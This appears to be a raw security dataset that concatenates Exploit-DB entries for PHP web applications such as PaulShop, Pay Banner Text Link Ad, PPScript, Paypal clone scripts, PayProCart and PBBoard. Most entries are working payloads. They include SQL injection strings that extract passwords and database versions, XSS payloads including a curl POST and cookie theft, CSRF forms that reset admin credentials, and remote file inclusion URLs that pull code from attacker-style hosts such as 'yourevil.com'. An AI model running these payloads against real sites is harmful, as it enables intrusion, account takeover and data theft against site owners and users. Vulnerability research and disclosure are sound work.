deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42359
Description: PaulShop - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-07-24
Author: BTIS Team

Exploit:
# Exploit Title: PaulShop CMS - Sql Injection and stored XSS
# Date: 07/23/2017
# Exploit Author: BTIS Team (http://www.btis.vn)
# Vendor Homepage: [https://codecanyon.net/item/paulshop-cms-with-shopping-cart-system/18070714]
# Version: 03/27/2017
# Tested on: Apache/2.4.7 (Ubuntu)
# Contact: research@btis.vn
# Can not contact vendor

 

1. Description

- SQL Injection on Search page with "q" parameter (GET)

- Stored XSS on member's profile page with parameters: firstname, lastname, address, city, state, zipcode, phone, fax, delivery[address], delivery[city], delivery[state], delivery[zipcode]

2. Examples

 

- SQL injection: 

 

# http://localhost/shop/en/category/tables?q=[SQL INJECTION HERE]

# Payload: - True condition: europe' and 1=1)-- -

           - False condition: europe' and 1=0)-- -

 

- Stored XSS: 

 

# Payload: %22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

# curl -X POST \

  'http://localhost/shop/en/account?save=1' \

  -H 'cookie: cookie: mysession_id=QyB45exW7W2fwIi; ci_session=ab1c04c51042f9928a87bb917b1a4759e9f81d11' \

  -b 'cookie: mysession_id=QyB45exW7W2fwIi; ci_session=ab1c04c51042f9928a87bb917b1a4759e9f81d11' \

  -d 'email=btis%40mailinator.com&[CREDENTIAL_REDACTED]=BTIS%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=VN%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E&address=address%22%3E%3Cscript%3Ealert%283%29%3C%2Fscript%3E&city=city%22%3E%3Cscript%3Ealert%284%29%3C%2Fscript%3E&state=HCM%22%3E%3Cscript%3Ealert%287%29%3C%2Fscript%3E&zipcode=700000%22%3E%3Cscript%3Ealert%2812%29%3C%2Fscript%3E&country=VN&phone=%22%3E%3Cscript%3Ealert%2810%29%3C%2Fscript%3E&fax=fax%22%3E%3Cscript%3Ealert%286%29%3C%2Fscript%3E&delivery%5Baddress%5D=adr2%22%3E%3Cscript%3Ealert%285%29%3C%2Fscript%3E&delivery%5Bcity%5D=city2%22%3E%3Cscript%3Ealert%288%29%3C%2Fscript%3E&delivery%5Bstate%5D=MNB%22%3E%3Cscript%3Ealert%289%29%3C%2Fscript%3E&delivery%5Bzipcode%5D=800000%22%3E%3Cscript%3Ealert%2811%29%3C%2Fscript%3E&delivery%5Bcountry%5D=AD&save=Save'

 

Quan Minh Tâm / Trưởng phòng kỹ thuật
 <mailto:tamqm@btis.vn> tamqm@btis.vn / 01284 211 290

CÔNG TY CÔNG NGHỆ BẢO TÍN 
028 3810 6288 –[PII_REDACTED]9
5A Trần Văn Dư, phường 13, quận Tân Bình, Tp.Hồ Chí Minh
 <http://www.btis.vn> www.btis.vn

 


Email này đã được quét bằng tính năng bảo vệ diệt vi-rút của BullGuard.
Để biết thêm thông tin, hãy truy cập www.bullguard.com <http://www.bullguard.com/tracking.aspx?affiliate=bullguard&buyaffiliate=smtp&url=/>
Exploit-DB #42622
Description: Pay Banner Text Link Ad 1.0.6.1 - Cross-Site Request Forgery (Update Admin)
Type: webapps
Platform: php
Date: 2017-09-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Pay Banner Text Link Ad 1.0.6.1 - Cross-Site Request Forgery (Update Admin User&Pass)
# Dork: N/A
# Date: 06.09.2017
# Vendor Homepage: http://www.dijiteol.com/
# Software Link: http://www.dijiteol.com/p-Pay-Banner-Textlink-Ad-Pay-Banner-Advertisement-PHP-Script-i-1.html
# Demo: http://dijiteol.com/demos/pbtla
# Version: 1.0.6.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
<html>
<body>
<form method="post" action="http://localhost/[PATH]/admin/editpersonal.php">
<!--Change admin username-->
<input name="login" type="text" size="20" maxlength="15" value="admin">
<!--Change admin password-->
<input name="pass" type="text" class="keyboardInput" size="20" maxlength="15" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html>
# # # # #
Exploit-DB #42623
Description: Pay Banner Text Link Ad 1.0.6.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Pay Banner Text Link Ad 1.0.6.1 - SQL Injection
# Dork: N/A
# Date: 06.09.2017
# Vendor Homepage: http://www.dijiteol.com/
# Software Link: http://www.dijiteol.com/p-Pay-Banner-Textlink-Ad-Pay-Banner-Advertisement-PHP-Script-i-1.html
# Demo: http://dijiteol.com/demos/pbtla
# Version: 1.0.6.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?action=stats&id=[SQL]
# 
# http://localhost/[PATH]/index.php?action=previewad&id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #10983
Description: Pay Per Minute Video Chat Script 2.0/2.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-04
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: suffer from multi XSS Vulnerability
[~] Vendor: payperviewvideosoftware.com
[?] Software : Pay Per Minute Video Chat Script V 2.1
[-] pR!CE : $269.00 USD.
[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 4.Jan.2010
[?] T!ME: 07:15 pm GMT
[?] Home: WwW.xP10.ME
[?]
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????

XSS:

[*] Err0r C0N50L3:

http://server/P47H/admin/memberviewdetails.php?id=
http://server/P47H/videos.php?model=

[~] {EV!L EXPLO!T}:


//server/P47H/admin/memberviewdetails.php?id=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(666)%3B%3C/ScRiPt%3E

http://server/P47H/videos.php?model=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(666)%3B%3C/ScRiPt%3E


SQL Injection:

[*] Err0r C0N50L3:

http://server/P47H/index_ie.php?page=-666

[~] {EV!L EXPLO!T}:

n07 ALL0w AT Th!S T!ME

N073:

REAL RED DEV!L W@S h3r3 LAMERZ


GAZA !N our hearts !


[~]-----------------------------{((Angela Bennett))}---------------------------------------


[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca &((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t))

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]---------------------------------------------------------------------------------------------
Exploit-DB #34091
Description: Pay Per Minute Video Chat Script 2.x - SQL Injection / Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-04
Author: R3d-D3V!L

Exploit:
source: https://www.securityfocus.com/bid/40585/info

Pay Per Minute Video Chat Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Cross-site scripting:

http://www.example.com/P47H/admin/memberviewdetails.php?id=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(666)%3B%3C/ScRiPt%3E
 
http://www.example.com/P47H/videos.php?model=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(666)%3B%3C/ScRiPt%3E


SQL-injection:

http://www.example.com/P47H/index_ie.php?page=-666
Exploit-DB #11816
Description: Pay Per Watch & Bid Auktions System - 'auktion.php?id_auk' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-03-20
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Pay Per Watch & Bid Auktions System BLIND SQL Injection auktion.php (id_auk)
+Autor : Easy Laster
+Date   : 20.03.2010
+Script  : Pay Per Watch & Bid Auktions System
+Price : 319.90 €
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/auktion/auktion.php?id_auk=

#password
+Exploitable   : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1


#username
+Exploitable
http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT vorname FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1
----------------------------------------------------------------------------------------
Exploit-DB #9351
Description: Payment Processor Script (PPScript) - 'shop.htm cid' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-03
Author: ZoRLu

Exploit:
[~] PaymentProcessorScript.net R-Sql/B-Sql Multiple Vulns.
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 04.01.09
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

R-Sql

http://z0rlu.blogspot.com/shop.htm?cid=999999999+union+select+1,2,concat(user(),0x3a,version(),0x3a,database())

for demo:

http://paymentprocessorscript.net/demo/shop.htm?cid=999999999+union+select+1,2,concat(user(),0x3a,version(),0x3a,database())

B-Sql

http://z0rlu.blogspot.com/shop.htm?cid=[id]+and+1=1    true

http://z0rlu.blogspot.com/shop.htm?cid=[id]+and+1=100  false

for demo:

http://paymentprocessorscript.net/demo/shop.htm?cid=31+and+1=1

http://paymentprocessorscript.net/demo/shop.htm?cid=31+and+1=100


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users  :) 
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-08-03]
Exploit-DB #34493
Description: Payment Processor Script (PPScript) - 'shop.htm' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-03
Author: MizoZ

Exploit:
source: https://www.securityfocus.com/bid/42539/info

PPScript is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/shop.htm?cid=999999999+union+select+1,2,concat(user(),0x3a,version(),0x3a,database())
http://www.example.com/shop.htm?cid=31+and+1=1
http://www.example.com/shop.htm?cid=31+and+1=100
Exploit-DB #44017
Description: Paypal Clone Script 1.0.9 - 'id' / 'acctype' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-11
Author: L0RD

Exploit:
# Exploit Title: Paypal / Money Transfer Clone Script 1.0.9 - SQL Injection
# Dork: N/A
# Date: 2018-02-10
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage:
https://www.phpscriptsmall.com/product/paypal-money-transfer-clone/
# Version: 1.0.9
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands.
# # # # #
# Proof of Concept :

SQLI :

http://localhost/PATH/registrationpersonal.php?id=[SQL]

# Parameter : id (GET)
#    Type: Type: AND/OR time-based blind
#    Title: MySQL >= 5.0.50 AND time-based blind
#    Payload: AND SLEEP(10)

#########################################################

http://localhost/PATH/registrationmail.php?acctype=[SQL]

# Parameter : acctype (GET)
#    Type : Error based
#    Title : MySQL >= 5.0 AND error based - Extractvalue (XPATH query)
#    Payload : 1' and
extractvalue(1,/*!00000Concat(0x3a,database(),0x3a,0x3a,version())*/)%23

# Description: First inject payload into parameter and load URL . then fill all fields and click "continue".
# You will have version and db_name in the next page . You can find all tables using XPATH query and see result in the next page .
Exploit-DB #15772
Description: PayPal Shop Digital - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-18
Author: DeadLy DeMon

Exploit:
+Name : PayPal Shop Digital <<= SQL injection Vulnerability

+Autor : DeadLy DeMon

+Date : 18.12.2010

+Script : PayPal Shop Digital

+Vendor : http://www.mhproducts.de/php-scripte-5/pal-pal-shop-digital.html

+Price : 15,99 Euro

+Language : PHP

+Tests : Windows XP SP 3 and Backtrack4 any other OS

+Discovered by DeadLy DeMon

+ Cyber - Warrior TIM =>> *www.cyber-warrior.org*

+Greetz to All System-Hacker, BlackApple , F0RTYS3V3N and All KinqSqlZCrew
Members

---------------------------------------------------------------------------------------



Var mı içinizde beni tanıyan?
Yaşanmadan çözülemeyen sır benim.
Kalmasada şöhretimi duymayan,
Kimliğimi tarif etmek zor benim..

                        KinqSqlZ Crew Akar...

----------------------------------------------------------------------------------------


Bug ;

target/path/view_item.php?ItemID=[Sql Inj.]


---------------------------------------------------------------------------------------
Exploit-DB #34710
Description: Paypal Shopping Cart Script - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-08-21
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/43471/info

Paypal Shopping Cart Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/paypalshopping/index.php?cid="><script>alert(document.cookie);</script>

http://www.example.com/paypalshopping/index.php?txtkeywords=%3CSCRIPT%3Ealert(String.fromCharCode(88%2C83%2C83))%3C%2FSCRIPT%3E&cmdSearch=Search
Exploit-DB #34711
Description: Paypal Shopping Cart Script - 'index.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-21
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/43471/info
 
Paypal Shopping Cart Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/paypalshopping/index.php?cid=7%20union%20all%20select%201,2,3,version(),5,6,7--

http://www.example.com/paypalshopping/index.php?cid=1%20AND%201=null+union+select+1,2,3,version(),5,6,7--
Exploit-DB #23232
Description: PayPal Store Front 3.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-10-08
Author: Zone-h Security Team

Exploit:
source: https://www.securityfocus.com/bid/8791/info

PayPal Store Front is prone to a remote file include vulnerability. It may be possible for a remote attacker to influence the include path for an external page to point to an attacker-specified location. This could be exploited to include a remote PHP script, which will be executed in the context of the web server hosting the vulnerable PayPal Store Front software.

PayPal Store Front 3.0 has been reported to be vulnerable to this issue, however it is possible that other versions are affected as well. 

http://www.example.com/index.php?do=ext&page=http://www.attacker's_site.com/index
Exploit-DB #2316
Description: PayProCart[PII_REDACTED] - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-09-07
Author: momo26

Exploit:
google dork :"powered by: profitCode"

exploite:
http://[url]/index.php?proMod=http://shell.txt?

discoverde by momo26  ;)!!!!!!!!!!!!!!!

+--------------------------------------------------------------------
+
+  ppalCart V(2.5 EE)  Remote File Inclusion
+
+-------------------------------------------------------------------
+
+ Affected Software .: Software
+ Version .............: ppalCart 2.5 EE
+ Venedor ...........:   http://www.profitcode.com
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: momo26
+ Writtin by ..........: Eddy_BAck0o - www.LEzr.com/vB
+ Contact ...........: http://www.lezr.com/vb/showthread.php?t=12673
+
+--------------------------------------------------------------------
+--------------------------------------------------------------------
+ ./index Directory ...
+ [index.php]
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include $docroot . "js/css/shop-custom.php";
+include $docroot . "js/css/shop-default.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 50 - 349
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+else if($proMod) {
+include "$proMod" . ".php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 288 - 349
+Ex --> http://www.victom.com/index.php?proMod=http://yourevil.com/r0x.txt?cmd
+
+-------------------------------------------------------------------
+-------------------------------------------------------------------
+ [mainpage.php]
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "shopincs/commonincs/shop-mainbottom" . "$langFile" .
".php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 158 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "tplates/newitems.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 284 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "tplates/specials.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 287 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "cstmincs/cstmbanner$langFile.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 290 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "tplates/upselladvert.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 292 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "mainincs/upsellproducts.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 298 - 308
+Ex --> http://www.victom.com/mainpage.php?docroot=http://yourevil.com/r0x.txt?cmd
+
+--------------------------------------------------------------------
+Eddy_BAck0o ;
+--------------------------------------------------------------------

# milw0rm.com [2006-09-07]
Exploit-DB #34620
Description: PaysiteReviewCMS - 'image.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-14
Author: Valentin Hoebel

Exploit:
source: https://www.securityfocus.com/bid/43213/info
 
Mechanical Bunny Media PaysiteReviewCMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Mechanical Bunny Media PaysiteReviewCMS 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/image.php?image=[XSS]
Exploit-DB #34619
Description: PaysiteReviewCMS 1.1 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-14
Author: Valentin Hoebel

Exploit:
source: https://www.securityfocus.com/bid/43213/info

Mechanical Bunny Media PaysiteReviewCMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mechanical Bunny Media PaysiteReviewCMS 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/search.php?q=[XSS]
Exploit-DB #37616
Description: PBBoard - 'admin.php?xml_name' Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2012-08-08
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/54916/info
  
PBBoard is prone to multiple security vulnerabilities including:
  
1. Multiple SQL-injection vulnerabilities
2. A security-bypass vulnerability
3. An arbitrary file upload vulnerability
  
Exploiting these issues could allow an attacker to carry out unauthorized actions on the underlying database, to gain access to various user accounts by changing account passwords, or to execute arbitrary script code on an affected computer in the context of the affected application.
  
PBBoard 2.1.4 is vulnerable; other versions may also be affected.


<form action="http://www.example.com/admin.php?page=addons&export=1&export_writing=1&xml_name=file.php" method="post" name="main" id="main">
<input type="hidden" name="context" value='<? phpinfo(); ?>'>
<input type="submit" name="Submit" value="Send">
</form>
Exploit-DB #37615
Description: PBBoard - 'member_id' Validation Password Manipulation
Type: webapps
Platform: php
Date: 2012-08-08
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/54916/info
 
PBBoard is prone to multiple security vulnerabilities including:
 
1. Multiple SQL-injection vulnerabilities
2. A security-bypass vulnerability
3. An arbitrary file upload vulnerability
 
Exploiting these issues could allow an attacker to carry out unauthorized actions on the underlying database, to gain access to various user accounts by changing account passwords, or to execute arbitrary script code on an affected computer in the context of the affected application.
 
PBBoard 2.1.4 is vulnerable; other versions may also be affected.

<form action="http://www.example.com/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1">
<input type="hidden" name="new_password" value="new_password">
<input type="submit" name="Submit" value="Send">
</form>